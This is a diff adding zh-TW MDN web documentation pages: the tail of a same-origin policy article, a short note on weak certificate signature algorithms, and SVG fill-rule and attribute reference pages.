+<p>網頁能夠有限地變更來源，我們可以將 {{domxref("document.domain")}} 存為目前網域後半部，然後較短的網域就會作為之後來源檢查，譬如我們在 http://store.company.com/dir/other.html 的文件裡執行以下程式碼:</p>
+
+<pre class="notranslate">document.domain = "company.com";
+</pre>
+
+<p>執行完後，網頁能以 http://company.com/dir/page.html 通過同源檢查。然而基於同源檢查，company.com 無法將 document.domain 存為 othercompany.com。</p>
+
+<p>任何變更 document.domain 行為，包括 document.domain = document.domain 都會導致埠號重置為 null，因此無法只藉由執行 document.domain = "company.com" 讓company.com:8080 和 company.com 互動，必須兩邊都重新設定好讓埠號都一致重置為 null。</p>
+
+<div class="note">
+<p><strong>Note:</strong> 為了讓子網域可以安全的存取其母網域，我們需要一起改變子、母網域的document.domain 為相同值，即使只是將母網域設回原始值也是必要，否則將會導致許可權錯誤 (Permission Error)。</p>
+</div>
+
+<h2 id="跨來源網路存取">跨來源網路存取</h2>
+
+<p>同源政策控制了兩個不同網域來源互動，例如當使用{{domxref("XMLHttpRequest")}}。這些互動可分為以下三類:</p>
+
+<ul>
+ <li>跨來源寫(Cross-origin writes)通常被允許，例如有連結、重新導向以及表單送出。少數某些HTTP請求需要<a href="https://developer.mozilla.org/zh-TW/docs/HTTP/Access_control_CORS#.E5.85.88.E5.B0.8E.E8.AB.8B.E6.B1.82">先導請求</a>。</li>
+ <li>跨來源嵌入(Cross-origin embedding)通常被允許，例子請參照下方。</li>
+ <li>跨來源讀取(Cross-origin read) 通常不被允許，不過通常可以藉由嵌入來繞道讀取，例如嵌入影像寬高讀取、嵌入程式碼或<a href="https://grepular.com/Abusing_HTTP_Status_Codes_to_Expose_Private_Information">嵌入資源</a>。</li>
+</ul>
+
+<p>下面是一些能跨來源嵌入的資源:</p>
+
+<ul>
+ <li>&lt;script src=”…”&gt;&lt;/script&gt;內的Javascript，但語法錯誤訊息只限於同源程式碼腳本。</li>
+ <li>CSS的&lt;link rel="stylesheet" href="..."&gt;，由於CSS寬鬆語法規則，跨來源CSS要求正確的Content-Type標頭。限制在瀏覽器間各有差異: <a href="http://msdn.microsoft.com/en-us/library/ie/gg622939%28v=vs.85%29.aspx" title="http://msdn.microsoft.com/en-us/library/ie/gg622939%28v=vs.85%29.aspx">IE</a>, <a href="http://www.mozilla.org/security/announce/2010/mfsa2010-46.html" title="http://www.mozilla.org/security/announce/2010/mfsa2010-46.html">Firefox</a>, <a href="http://code.google.com/p/chromium/issues/detail?id=9877" title="http://code.google.com/p/chromium/issues/detail?id=9877">Chrome</a>, <a href="http://support.apple.com/kb/HT4070" title="http://support.apple.com/kb/HT4070">Safari</a> (請至CVE-2010-0051)以及<a href="http://www.opera.com/support/kb/view/943/" title="http://www.opera.com/support/kb/view/943/">Opera</a>.</li>
+ <li>{{htmlelement("img")}}的影像；支援格式有PNG, JPEG, GIF, BMP, SVG等等</li>
+ <li> {{htmlelement("video")}}和{{htmlelement("audio")}}媒體檔案</li>
+ <li> <a href="/en-US/docs/HTML/Element/object" title="HTML/Element/object"><code>&lt;object&gt;</code></a>, <a href="/en-US/docs/HTML/Element/embed" title="HTML/Element/embed"><code>&lt;embed&gt;</code></a>和<a href="/en-US/docs/HTML/Element/applet" title="HTML/Element/applet"><code>&lt;applet&gt;</code></a>的外掛</li>
+ <li><a href="/en-US/docs/CSS/@font-face" title="CSS/@font-face"><code>@font-face</code></a> 的字型；有些瀏覽器允許跨來源字型，有些則不。</li>
+ <li> <a href="/en-US/docs/HTML/Element/frame" title="HTML/Element/frame"><code>&lt;frame&gt;</code></a>以及<a href="/en-US/docs/HTML/Element/iframe" title="HTML/Element/iframe"><code>&lt;iframe&gt;</code></a>中的內容；如果一個網站想要避免跨來源載入互動，可以藉由<code><a href="/en-US/docs/HTTP/X-Frame-Options" title="HTTP/X-Frame-Options">X-Frame-Options</a></code>標頭避免。</li>
+</ul>
+
+<h3 id="如何允許跨來源存取">如何允許跨來源存取</h3>
+
+<p>使用<a href="https://developer.mozilla.org/zh-TW/docs/HTTP/Access_control_CORS">CORS</a>允許跨來源存取</p>
+
+<h3 id="如何阻擋跨來源存取">如何阻擋跨來源存取</h3>
+
+<ul>
+ <li>藉由檢查請求中包含的無法猜測的特殊記號(token)可以避免跨來源寫入，還有跨來源讀取知道此記號的網頁，這個記號即為<a href="https://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29">跨站偽造(Cross-Site Request Forgery, CSRF)</a>記號。</li>
+ <li>確保資源無法被嵌入來防止跨來源讀取。</li>
+ <li>為了防止跨來源嵌入，請確保資源不被解讀為上述可嵌入格式之一；瀏覽器通常不會理會Content-Type，比如說有一個指向HTML文件的&lt;script&gt;標籤，瀏覽器還是會嘗試解析該HTML文件為Javascript；當你的資源不是網站進入點，可以使用CSRF記號。</li>
+</ul>
+
+<h2 id="跨來源程式腳本存取">跨來源程式腳本存取</h2>
+
+<p>Javascript API例如<a href="/en-US/docs/DOM/HTMLIFrameElement" title="DOM/HTMLIFrameElement"><code>iframe.contentWindow</code></a>, {{domxref("window.parent")}}, {{domxref("window.open")}}以及{{domxref("window.opener")}}，允許文件之間直接互相參照，當兩份文件的來源不同，參照存取<a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/browsers.html#security-window" title="http://www.whatwg.org/specs/web-apps/current-work/multipage/browsers.html#security-window">Window</a>和<a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/history.html#security-location" title="http://www.whatwg.org/specs/web-apps/current-work/multipage/history.html#security-location">Location</a>物件將受到限制；一些瀏覽器比規範<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=839867">准許存取更多屬性</a>。文件間的溝通也可以改用{{domxref("window.postMessage")}}來進行。</p>
+
+<h2 id="延伸閱讀">延伸閱讀</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Same-origin_policy_for_file:_URIs" title="Same-origin policy for file: URIs">Same-origin policy for file: URIs</a></li>
+ <li><a href="http://www.w3.org/Security/wiki/Same_Origin_Policy" title="http://www.w3.org/Security/wiki/Same_Origin_Policy">Same-Origin Policy at W3C</a></li>
+</ul>
+
+<div class="originaldocinfo">
+<h2 id="Original_Document_Information" name="Original_Document_Information">Original Document Information</h2>
+
+<ul>
+ <li>Author(s): Jesse Ruderman</li>
+</ul>
+</div>
diff --git a/files/zh-tw/web/security/weak_signature_algorithm/index.html b/files/zh-tw/web/security/weak_signature_algorithm/index.html
new file mode 100644
index 0000000000..764c0b4f90
--- /dev/null
+++ b/files/zh-tw/web/security/weak_signature_algorithm/index.html
@@ -0,0 +1,16 @@
+---
+title: 弱簽章演算法
+slug: Web/Security/Weak_Signature_Algorithm
+translation_of: Web/Security/Weak_Signature_Algorithm
+---
+<h3 id="簽章演算法的重要性">簽章演算法的重要性</h3>
+
+<p>在簽署憑證時，雜湊演算法的完整性是非常重要的一環。雜湊演算法的漏洞可能導致攻擊者獲取假造的憑證。隨著科技發展出現更多可行的攻擊新手法，並不建議繼續使用舊的演算法，且這些演算法最終該被移除。</p>
+
+<h3 id="SHA-1">SHA-1</h3>
+
+<p>以 SHA-1 為基礎的簽章非常普遍：因為到目前為止大部分憑證皆使用 SHA-1。然而考慮到 SHA-1 已經太過老舊，不建議繼續使用下去。當未來要替換憑證時，請先確認使用的是強簽章演算法。更多資訊請查閱 <a href="https://blog.mozilla.org/security/2014/09/23/phasing-out-certificates-with-sha-1-based-signature-algorithms/">Mozilla Security Blog post</a> 上的內容。</p>
+
+<h3 id="MD5">MD5</h3>
+
+<p>以 MD5 為基礎的簽章已在 2012 初被移除。</p>
diff --git a/files/zh-tw/web/svg/attribute/fill-rule/index.html b/files/zh-tw/web/svg/attribute/fill-rule/index.html
new file mode 100644
index 0000000000..56fafea9e2
--- /dev/null
+++ b/files/zh-tw/web/svg/attribute/fill-rule/index.html
@@ -0,0 +1,46 @@
+---
+title: fill-rule
+slug: Web/SVG/Attribute/fill-rule
+translation_of: Web/SVG/Attribute/fill-rule
+---
+<p>« <a href="/en/SVG/Attribute" title="en/SVG/Attribute">SVG Attribute reference home</a></p>
+<p>The <code>fill-rule</code> attribute indicates the algorithm which is to be used to determine what side of a path is inside the shape. For a simple, non-intersecting path, it is intuitively clear what region lies "inside"; however, for a more complex path, such as a path that intersects itself or where one subpath encloses another, the interpretation of "inside" is not so obvious.</p>
+<h2 id="Usage_context">Usage context</h2>
+<table class="standard-table">
+  <tbody>
+    <tr>
+      <th scope="row">Categories</th>
+      <td>Presentation attribute</td>
+    </tr>
+    <tr>
+      <th scope="row">Value</th>
+      <td><strong>nonzero</strong> | evenodd | inherit</td>
+    </tr>
+    <tr>
+      <th scope="row">Animatable</th>
+      <td>Yes</td>
+    </tr>
+    <tr>
+      <th scope="row">Normative document</th>
+      <td><a class="external" href="http://www.w3.org/TR/SVG/painting.html#FillRuleProperty" title="http://www.w3.org/TR/SVG/painting.html#FillRuleProperty">SVG 1.1 (2nd Edition)</a></td>
+    </tr>
+  </tbody>
+</table>
+<p>The <code>fill-rule</code> property provides two options for how the inside of a shape is determined:</p>
+<dl>
+  <dt>
+    nonzero</dt>
+  <dd>
+    This value determines the "insideness" of a point in the shape by drawing a ray from that point to infinity in any direction and then examining the places where a segment of the shape crosses the ray. Starting with a count of zero, add one each time a path segment crosses the ray from left to right and subtract one each time a path segment crosses the ray from right to left. After counting the crossings, if the result is zero then the point is outside the path. Otherwise, it is inside.</dd>
+  <dt>
+    evenodd</dt>
+  <dd>
+    This value determines the "insideness" of a point in the shape by drawing a ray from that point to infinity in any direction and counting the number of path segments from the given shape that the ray crosses. If this number is odd, the point is inside; if even, the point is outside.</dd>
+</dl>
+<h2 id="Examples">Examples</h2>
+<h2 id="Elements">Elements</h2>
+<p>The following elements can use the <code>fill-rule</code> attribute</p>
+<ul>
+  <li><a href="/en/SVG/Element#Shape" title="en/SVG/Element#Shape">Shape elements</a> »</li>
+  <li><a href="/en/SVG/Element#TextContent" title="en/SVG/Element#TexteContent">Text content elements</a> »</li>
+</ul>
diff --git a/files/zh-tw/web/svg/attribute/index.html b/files/zh-tw/web/svg/attribute/index.html
new file mode 100644
index 0000000000..47051214f8
--- /dev/null
+++ b/files/zh-tw/web/svg/attribute/index.html
@@ -0,0 +1,386 @@
+---
+title: SVG Attribute reference
+slug: Web/SVG/Attribute
+tags:
+  - Fixit
+  - NeedsHelp
+  - NeedsTranslation
+  - SVG
+  - SVG Attribute
+  - SVG Reference
+  - TopicStub
+translation_of: Web/SVG/Attribute
+---
+<p>« <a href="/en/SVG" title="en/SVG">SVG</a> / <a href="/en/SVG/Element" title="en/SVG/Element">SVG Element reference</a> »</p>
+<h2 id="SVG_Attributes">SVG Attributes</h2>
+<div style="-moz-column-width: 14em; -webkit-columns: 14em; columns: 14em;">
+  <h3 id="A">A</h3>
+  <ul>
+    <li>{{ SVGAttr("accent-height") }}</li>
+    <li>{{ SVGAttr("accumulate") }}</li>
+    <li>{{ SVGAttr("additive") }}</li>
+    <li>{{ SVGAttr("alignment-baseline") }}</li>
+    <li>{{ SVGAttr("allowReorder") }}</li>
+    <li>{{ SVGAttr("alphabetic") }}</li>
+    <li>{{ SVGAttr("amplitude") }}</li>
+    <li>{{ SVGAttr("arabic-form") }}</li>
+    <li>{{ SVGAttr("ascent") }}</li>
+    <li>{{ SVGAttr("attributeName") }}</li>
+    <li>{{ SVGAttr("attributeType") }}</li>
+    <li>{{ SVGAttr("azimuth") }}</li>
+  </ul>
+  <h3 id="B">B</h3>
+  <ul>
+    <li>{{ SVGAttr("baseFrequency") }}</li>
+    <li>{{ SVGAttr("baseline-shift") }}</li>
+    <li>{{ SVGAttr("baseProfile") }}</li>
+    <li>{{ SVGAttr("bbox") }}</li>
+    <li>{{ SVGAttr("begin") }}</li>
+    <li>{{ SVGAttr("bias") }}</li>
+    <li>{{ SVGAttr("by") }}</li>
+  </ul>
+  <h3 id="C">C</h3>
+  <ul>
+    <li>{{ SVGAttr("calcMode") }}</li>
+    <li>{{ SVGAttr("cap-height") }}</li>
+    <li>{{ SVGAttr("class") }}</li>
+    <li>{{ SVGAttr("clip") }}</li>
+    <li>{{ SVGAttr("clipPathUnits") }}</li>
+    <li>{{ SVGAttr("clip-path") }}</li>
+    <li>{{ SVGAttr("clip-rule") }}</li>
+    <li>{{ SVGAttr("color") }}</li>
+    <li>{{ SVGAttr("color-interpolation") }}</li>
+    <li>{{ SVGAttr("color-interpolation-filters") }}</li>
+    <li>{{ SVGAttr("color-profile") }}</li>
+    <li>{{ SVGAttr("color-rendering") }}</li>
+    <li>{{ SVGAttr("contentScriptType") }}</li>
+    <li>{{ SVGAttr("contentStyleType") }}</li>
+    <li>{{ SVGAttr("cursor") }}</li>
+    <li>{{ SVGAttr("cx") }}</li>
+    <li>{{ SVGAttr("cy") }}</li>
+  </ul>
+  <h3 id="D">D</h3>
+  <ul>
+    <li>{{ SVGAttr("d") }}</li>
+    <li>{{ SVGAttr("descent") }}</li>
+    <li>{{ SVGAttr("diffuseConstant") }}</li>
+    <li>{{ SVGAttr("direction") }}</li>
+    <li>{{ SVGAttr("display") }}</li>
+    <li>{{ SVGAttr("divisor") }}</li>
+    <li>{{ SVGAttr("dominant-baseline") }}</li>
+    <li>{{ SVGAttr("dur") }}</li>
+    <li>{{ SVGAttr("dx") }}</li>
+    <li>{{ SVGAttr("dy") }}</li>
+  </ul>
+  <h3 id="E">E</h3>
+  <ul>
+    <li>{{ SVGAttr("edgeMode") }}</li>
+    <li>{{ SVGAttr("elevation") }}</li>
+    <li>{{ SVGAttr("enable-background") }}</li>
+    <li>{{ SVGAttr("end") }}</li>
+    <li>{{ SVGAttr("exponent") }}</li>
+    <li>{{ SVGAttr("externalResourcesRequired") }}</li>
+  </ul>
+  <h3 id="F">F</h3>
+  <ul>
+    <li>{{ SVGAttr("fill") }}</li>
+    <li>{{ SVGAttr("fill-opacity") }}</li>
+    <li>{{ SVGAttr("fill-rule") }}</li>
+    <li>{{ SVGAttr("filter") }}</li>
+    <li>{{ SVGAttr("filterRes") }}</li>
+    <li>{{ SVGAttr("filterUnits") }}</li>
+    <li>{{ SVGAttr("flood-color") }}</li>
+    <li>{{ SVGAttr("flood-opacity") }}</li>
+    <li>{{ SVGAttr("font-family") }}</li>
+    <li>{{ SVGAttr("font-size") }}</li>
+    <li>{{ SVGAttr("font-size-adjust") }}</li>
+    <li>{{ SVGAttr("font-stretch") }}</li>
+    <li>{{ SVGAttr("font-style") }}</li>
+    <li>{{ SVGAttr("font-variant") }}</li>
+    <li>{{ SVGAttr("font-weight") }}</li>
+    <li>{{ SVGAttr("format") }}</li>
+    <li>{{ SVGAttr("from") }}</li>
+    <li>{{ SVGAttr("fx") }}</li>
+    <li>{{ SVGAttr("fy") }}</li>
+  </ul>
+  <h3 id="G">G</h3>
+  <ul>
+    <li>{{ SVGAttr("g1") }}</li>
+    <li>{{ SVGAttr("g2") }}</li>
+    <li>{{ SVGAttr("glyph-name") }}</li>
+    <li>{{ SVGAttr("glyph-orientation-horizontal") }}</li>
+    <li>{{ SVGAttr("glyph-orientation-vertical") }}</li>
+    <li>{{ SVGAttr("glyphRef") }}</li>
+    <li>{{ SVGAttr("gradientTransform") }}</li>
+    <li>{{ SVGAttr("gradientUnits") }}</li>
+  </ul>
+  <h3 id="H">H</h3>
+  <ul>
+    <li>{{ SVGAttr("hanging") }}</li>
+    <li>{{ SVGAttr("height") }}</li>
+    <li>{{ SVGAttr("horiz-adv-x") }}</li>
+    <li>{{ SVGAttr("horiz-origin-x") }}</li>
+  </ul>
+  <h3 id="I">I</h3>
+  <ul>
+    <li>{{ SVGAttr("id") }}</li>
+    <li>{{ SVGAttr("ideographic") }}</li>
+    <li>{{ SVGAttr("image-rendering") }}</li>
+    <li>{{ SVGAttr("in") }}</li>
+    <li>{{ SVGAttr("in2") }}</li>
+    <li>{{ SVGAttr("intercept") }}</li>
+  </ul>
+  <h3 id="K">K</h3>
+  <ul>
+    <li>{{ SVGAttr("k") }}</li>
+    <li>{{ SVGAttr("k1") }}</li>
+    <li>{{ SVGAttr("k2") }}</li>
+    <li>{{ SVGAttr("k3") }}</li>
+    <li>{{ SVGAttr("k4") }}</li>
+    <li>{{ SVGAttr("kernelMatrix") }}</li>
+    <li>{{ SVGAttr("kernelUnitLength") }}</li>
+    <li>{{ SVGAttr("kerning") }}</li>
+    <li>{{ SVGAttr("keyPoints") }}</li>
+    <li>{{ SVGAttr("keySplines") }}</li>
+    <li>{{ SVGAttr("keyTimes") }}</li>
+  </ul>
+  <h3 id="L">L</h3>
+  <ul>
+    <li>{{ SVGAttr("lang") }}</li>
+    <li>{{ SVGAttr("lengthAdjust") }}</li>
+    <li>{{ SVGAttr("letter-spacing") }}</li>
+    <li>{{ SVGAttr("lighting-color") }}</li>
+    <li>{{ SVGAttr("limitingConeAngle") }}</li>
+    <li>{{ SVGAttr("local") }}</li>
+  </ul>
+  <h3 id="M">M</h3>
+  <ul>
+    <li>{{ SVGAttr("marker-end") }}</li>
+    <li>{{ SVGAttr("marker-mid") }}</li>
+    <li>{{ SVGAttr("marker-start") }}</li>
+    <li>{{ SVGAttr("markerHeight") }}</li>
+    <li>{{ SVGAttr("markerUnits") }}</li>
+    <li>{{ SVGAttr("markerWidth") }}</li>
+    <li>{{ SVGAttr("mask") }}</li>
+    <li>{{ SVGAttr("maskContentUnits") }}</li>
+    <li>{{ SVGAttr("maskUnits") }}</li>
+    <li>{{ SVGAttr("mathematical") }}</li>
+    <li>{{ SVGAttr("max") }}</li>
+    <li>{{ SVGAttr("media") }}</li>
+    <li>{{ SVGAttr("method") }}</li>
+    <li>{{ SVGAttr("min") }}</li>
+    <li>{{ SVGAttr("mode") }}</li>
+  </ul>
+  <h3 id="N">N</h3>
+  <ul>
+    <li>{{ SVGAttr("name") }}</li>
+    <li>{{ SVGAttr("numOctaves") }}</li>
+  </ul>
+  <h3 id="O">O</h3>
+  <ul>
+    <li>{{ SVGAttr("offset") }}</li>
+    <li>{{ SVGAttr("onabort") }}</li>
+    <li>{{ SVGAttr("onactivate") }}</li>
+    <li>{{ SVGAttr("onbegin") }}</li>
+    <li>{{ SVGAttr("onclick") }}</li>
+    <li>{{ SVGAttr("onend") }}</li>
+    <li>{{ SVGAttr("onerror") }}</li>
+    <li>{{ SVGAttr("onfocusin") }}</li>
+    <li>{{ SVGAttr("onfocusout") }}</li>
+    <li>{{ SVGAttr("onload") }}</li>
+    <li>{{ SVGAttr("onmousedown") }}</li>
+    <li>{{ SVGAttr("onmousemove") }}</li>
+    <li>{{ SVGAttr("onmouseout") }}</li>
+    <li>{{ SVGAttr("onmouseover") }}</li>
+    <li>{{ SVGAttr("onmouseup") }}</li>
+    <li>{{ SVGAttr("onrepeat") }}</li>
+    <li>{{ SVGAttr("onresize") }}</li>
+    <li>{{ SVGAttr("onscroll") }}</li>
+    <li>{{ SVGAttr("onunload") }}</li>
+    <li>{{ SVGAttr("onzoom") }}</li>
+    <li>{{ SVGAttr("opacity") }}</li>
+    <li>{{ SVGAttr("operator") }}</li>
+    <li>{{ SVGAttr("order") }}</li>
+    <li>{{ SVGAttr("orient") }}</li>
+    <li>{{ SVGAttr("orientation") }}</li>
+    <li>{{ SVGAttr("origin") }}</li>
+    <li>{{ SVGAttr("overflow") }}</li>
+    <li>{{ SVGAttr("overline-position") }}</li>
+    <li>{{ SVGAttr("overline-thickness") }}</li>
+  </ul>
+  <h3 id="P">P</h3>
+  <ul>
+    <li>{{ SVGAttr("panose-1") }}</li>
+    <li>{{ SVGAttr("paint-order") }}</li>
+    <li>{{ SVGAttr("path") }}</li>
+    <li>{{ SVGAttr("pathLength") }}</li>
+    <li>{{ SVGAttr("patternContentUnits") }}</li>
+    <li>{{ SVGAttr("patternTransform") }}</li>
+    <li>{{ SVGAttr("patternUnits") }}</li>
+    <li>{{ SVGAttr("pointer-events") }}</li>
+    <li>{{ SVGAttr("points") }}</li>
+    <li>{{ SVGAttr("pointsAtX") }}</li>
+    <li>{{ SVGAttr("pointsAtY") }}</li>
+    <li>{{ SVGAttr("pointsAtZ") }}</li>
+    <li>{{ SVGAttr("preserveAlpha") }}</li>
+    <li>{{ SVGAttr("preserveAspectRatio") }}</li>
+    <li>{{ SVGAttr("primitiveUnits") }}</li>
+  </ul>
+  <h3 id="R">R</h3>
+  <ul>
+    <li>{{ SVGAttr("r") }}</li>
+    <li>{{ SVGAttr("radius") }}</li>
+    <li>{{ SVGAttr("refX") }}</li>
+    <li>{{ SVGAttr("refY") }}</li>
+    <li>{{ SVGAttr("rendering-intent") }}</li>
+    <li>{{ SVGAttr("repeatCount") }}</li>
+    <li>{{ SVGAttr("repeatDur") }}</li>
+    <li>{{ SVGAttr("requiredExtensions") }}</li>
+    <li>{{ SVGAttr("requiredFeatures") }}</li>
+    <li>{{ SVGAttr("restart") }}</li>
+    <li>{{ SVGAttr("result") }}</li>
+    <li>{{ SVGAttr("rotate") }}</li>
+    <li>{{ SVGAttr("rx") }}</li>
+    <li>{{ SVGAttr("ry") }}</li>
+  </ul>
+  <h3 id="S">S</h3>
+  <ul>
+    <li>{{ SVGAttr("scale") }}</li>
+    <li>{{ SVGAttr("seed") }}</li>
+    <li>{{ SVGAttr("shape-rendering") }}</li>
+    <li>{{ SVGAttr("slope") }}</li>
+    <li>{{ SVGAttr("spacing") }}</li>
+    <li>{{ SVGAttr("specularConstant") }}</li>
+    <li>{{ SVGAttr("specularExponent") }}</li>
+    <li>{{ SVGAttr("spreadMethod") }}</li>
+    <li>{{ SVGAttr("startOffset") }}</li>
+    <li>{{ SVGAttr("stdDeviation") }}</li>
+    <li>{{ SVGAttr("stemh") }}</li>
+    <li>{{ SVGAttr("stemv") }}</li>
+    <li>{{ SVGAttr("stitchTiles") }}</li>
+    <li>{{ SVGAttr("stop-color") }}</li>
+    <li>{{ SVGAttr("stop-opacity") }}</li>
+    <li>{{ SVGAttr("strikethrough-position") }}</li>
+    <li>{{ SVGAttr("strikethrough-thickness") }}</li>
+    <li>{{ SVGAttr("string") }}</li>
+    <li>{{ SVGAttr("stroke") }}</li>
+    <li>{{ SVGAttr("stroke-dasharray") }}</li>
+    <li>{{ SVGAttr("stroke-dashoffset") }}</li>
+    <li>{{ SVGAttr("stroke-linecap") }}</li>
+    <li>{{ SVGAttr("stroke-linejoin") }}</li>
+    <li>{{ SVGAttr("stroke-miterlimit") }}</li>
+    <li>{{ SVGAttr("stroke-opacity") }}</li>
+    <li>{{ SVGAttr("stroke-width") }}</li>
+    <li>{{ SVGAttr("style") }}</li>
+    <li>{{ SVGAttr("surfaceScale") }}</li>
+    <li>{{ SVGAttr("systemLanguage") }}</li>
+  </ul>
+  <h3 id="T">T</h3>
+  <ul>
+    <li>{{ SVGAttr("tableValues") }}</li>
+    <li>{{ SVGAttr("target") }}</li>
+    <li>{{ SVGAttr("targetX") }}</li>
+    <li>{{ SVGAttr("targetY") }}</li>
+    <li>{{ SVGAttr("text-anchor") }}</li>
+    <li>{{ SVGAttr("text-decoration") }}</li>
+    <li>{{ SVGAttr("text-rendering") }}</li>
+    <li>{{ SVGAttr("textLength") }}</li>
+    <li>{{ SVGAttr("to") }}</li>
+    <li>{{ SVGAttr("transform") }}</li>
+    <li>{{ SVGAttr("type") }}</li>
+  </ul>
+  <h3 id="U">U</h3>
+  <ul>
+    <li>{{ SVGAttr("u1") }}</li>
+    <li>{{ SVGAttr("u2") }}</li>
+    <li>{{ SVGAttr("underline-position") }}</li>
+    <li>{{ SVGAttr("underline-thickness") }}</li>
+    <li>{{ SVGAttr("unicode") }}</li>
+    <li>{{ SVGAttr("unicode-bidi") }}</li>
+    <li>{{ SVGAttr("unicode-range") }}</li>
+    <li>{{ SVGAttr("units-per-em") }}</li>
+  </ul>
+  <h3 id="V">V</h3>
+  <ul>
+    <li>{{ SVGAttr("v-alphabetic") }}</li>
+    <li>{{ SVGAttr("v-hanging") }}</li>
+    <li>{{ SVGAttr("v-ideographic") }}</li>
+    <li>{{ SVGAttr("v-mathematical") }}</li>
+    <li>{{ SVGAttr("values") }}</li>
+    <li>{{ SVGAttr("version") }}</li>
+    <li>{{ SVGAttr("vert-adv-y") }}</li>
+    <li>{{ SVGAttr("vert-origin-x") }}</li>
+    <li>{{ SVGAttr("vert-origin-y") }}</li>
+    <li>{{ SVGAttr("viewBox") }}</li>
+    <li>{{ SVGAttr("viewTarget") }}</li>
+    <li>{{ SVGAttr("visibility") }}</li>
+  </ul>
+  <h3 id="W">W</h3>
+  <ul>
+    <li>{{ SVGAttr("width") }}</li>
+    <li>{{ SVGAttr("widths") }}</li>
+    <li>{{ SVGAttr("word-spacing") }}</li>
+    <li>{{ SVGAttr("writing-mode") }}</li>
+  </ul>
+  <h3 id="X">X</h3>
+  <ul>
+    <li>{{ SVGAttr("x") }}</li>
+    <li>{{ SVGAttr("x-height") }}</li>
+    <li>{{ SVGAttr("x1") }}</li>
+    <li>{{ SVGAttr("x2") }}</li>
+    <li>{{ SVGAttr("xChannelSelector") }}</li>
+    <li>{{ SVGAttr("xlink:actuate") }}</li>
+    <li>{{ SVGAttr("xlink:arcrole") }}</li>
+    <li>{{ SVGAttr("xlink:href") }}</li>
+    <li>{{ SVGAttr("xlink:role") }}</li>
+    <li>{{ SVGAttr("xlink:show") }}</li>
+    <li>{{ SVGAttr("xlink:title") }}</li>
+    <li>{{ SVGAttr("xlink:type") }}</li>
+    <li>{{ SVGAttr("xml:base") }}</li>
+    <li>{{ SVGAttr("xml:lang") }}</li>
+    <li>{{ SVGAttr("xml:space") }}</li>
+  </ul>
+  <h3 id="Y">Y</h3>
+  <ul>
+    <li>{{ SVGAttr("y") }}</li>
+    <li>{{ SVGAttr("y1") }}</li>
+    <li>{{ SVGAttr("y2") }}</li>
+    <li>{{ SVGAttr("yChannelSelector") }}</li>
+  </ul>
+  <h3 id="Z">Z</h3>
+  <ul>
+    <li>{{ SVGAttr("z") }}</li>
+    <li>{{ SVGAttr("zoomAndPan") }}</li>
+  </ul>
+</div>
+<h2 id="Categories">Categories</h2>
+<h3 id="Animation_event_attributes">Animation event attributes</h3>
+<p>{{ SVGAttr("onbegin") }}, {{ SVGAttr("onend") }}, {{ SVGAttr("onload") }}, {{ SVGAttr("onrepeat") }}</p>
+
+
+<h3 id="AnimationAttributeTarget" name="AnimationAttributeTarget">Animation attribute target attributes</h3>
+<p>{{ SVGAttr("attributeType") }}, {{ SVGAttr("attributeName") }}</p>
+<h3 id="Animation_timing_attributes">Animation timing attributes</h3>
+<p>{{ SVGAttr("begin") }}, {{ SVGAttr("dur") }}, {{ SVGAttr("end") }}, {{ SVGAttr("min") }}, {{ SVGAttr("max") }}, {{ SVGAttr("restart") }}, {{ SVGAttr("repeatCount") }}, {{ SVGAttr("repeatDur") }}, {{ SVGAttr("fill") }}</p>
+<h3 id="Animation_value_attributes">Animation value attributes</h3>
+<p>{{ SVGAttr("calcMode") }}, {{ SVGAttr("values") }}, {{ SVGAttr("keyTimes") }}, {{ SVGAttr("keySplines") }}, {{ SVGAttr("from") }}, {{ SVGAttr("to") }}, {{ SVGAttr("by") }}</p>
+<h3 id="Animation_addition_attributes">Animation addition attributes</h3>
+<p>{{ SVGAttr("additive") }}, {{ SVGAttr("accumulate") }}</p>
+<h3 id="Conditional_processing_attributes">Conditional processing attributes</h3>
+<p>{{ SVGAttr("requiredExtensions") }}, {{ SVGAttr("requiredFeatures") }}, {{ SVGAttr("systemLanguage") }}.</p>
+<h3 id="Core_attributes">Core attributes</h3>
+<p>{{ SVGAttr("id") }}, {{ SVGAttr("xml:base") }}, {{ SVGAttr("xml:lang") }}, {{ SVGAttr("xml:space") }}</p>
+<h3 id="Document_event_attributes">Document event attributes</h3>
+<p>{{ SVGAttr("onabort") }}, {{ SVGAttr("onerror") }}, {{ SVGAttr("onresize") }}, {{ SVGAttr("onscroll") }}, {{ SVGAttr("onunload") }}, {{ SVGAttr("onzoom") }}</p>
+<h3 id="Filter_primitive_attributes">Filter primitive attributes</h3>
+<p>{{ SVGAttr("height") }}, {{ SVGAttr("result") }}, {{ SVGAttr("width") }}, {{ SVGAttr("x") }}, {{ SVGAttr("y") }}</p>
+<h3 id="Graphical_event_attributes">Graphical event attributes</h3>
+<p>{{ SVGAttr("onactivate") }}, {{ SVGAttr("onclick") }}, {{ SVGAttr("onfocusin") }}, {{ SVGAttr("onfocusout") }}, {{ SVGAttr("onload") }}, {{ SVGAttr("onmousedown") }}, {{ SVGAttr("onmousemove") }}, {{ SVGAttr("onmouseout") }}, {{ SVGAttr("onmouseover") }}, {{ SVGAttr("onmouseup") }}</p>
+<h3 id="Presentation_attributes">Presentation attributes</h3>
+<div class="note">
+  Note that all SVG presentation attributes can be used as CSS properties.</div>
+<p>{{ SVGAttr("alignment-baseline") }}, {{ SVGAttr("baseline-shift") }}, {{ SVGAttr("clip") }}, {{ SVGAttr("clip-path") }}, {{ SVGAttr("clip-rule") }}, {{ SVGAttr("color") }}, {{ SVGAttr("color-interpolation") }}, {{ SVGAttr("color-interpolation-filters") }}, {{ SVGAttr("color-profile") }}, {{ SVGAttr("color-rendering") }}, {{ SVGAttr("cursor") }}, {{ SVGAttr("direction") }}, {{ SVGAttr("display") }}, {{ SVGAttr("dominant-baseline") }}, {{ SVGAttr("enable-background") }}, {{ SVGAttr("fill") }}, {{ SVGAttr("fill-opacity") }}, {{ SVGAttr("fill-rule") }}, {{ SVGAttr("filter") }}, {{ SVGAttr("flood-color") }}, {{ SVGAttr("flood-opacity") }}, {{ SVGAttr("font-family") }}, {{ SVGAttr("font-size") }}, {{ SVGAttr("font-size-adjust") }}, {{ SVGAttr("font-stretch") }}, {{ SVGAttr("font-style") }}, {{ SVGAttr("font-variant") }}, {{ SVGAttr("font-weight") }}, {{ SVGAttr("glyph-orientation-horizontal") }}, {{ 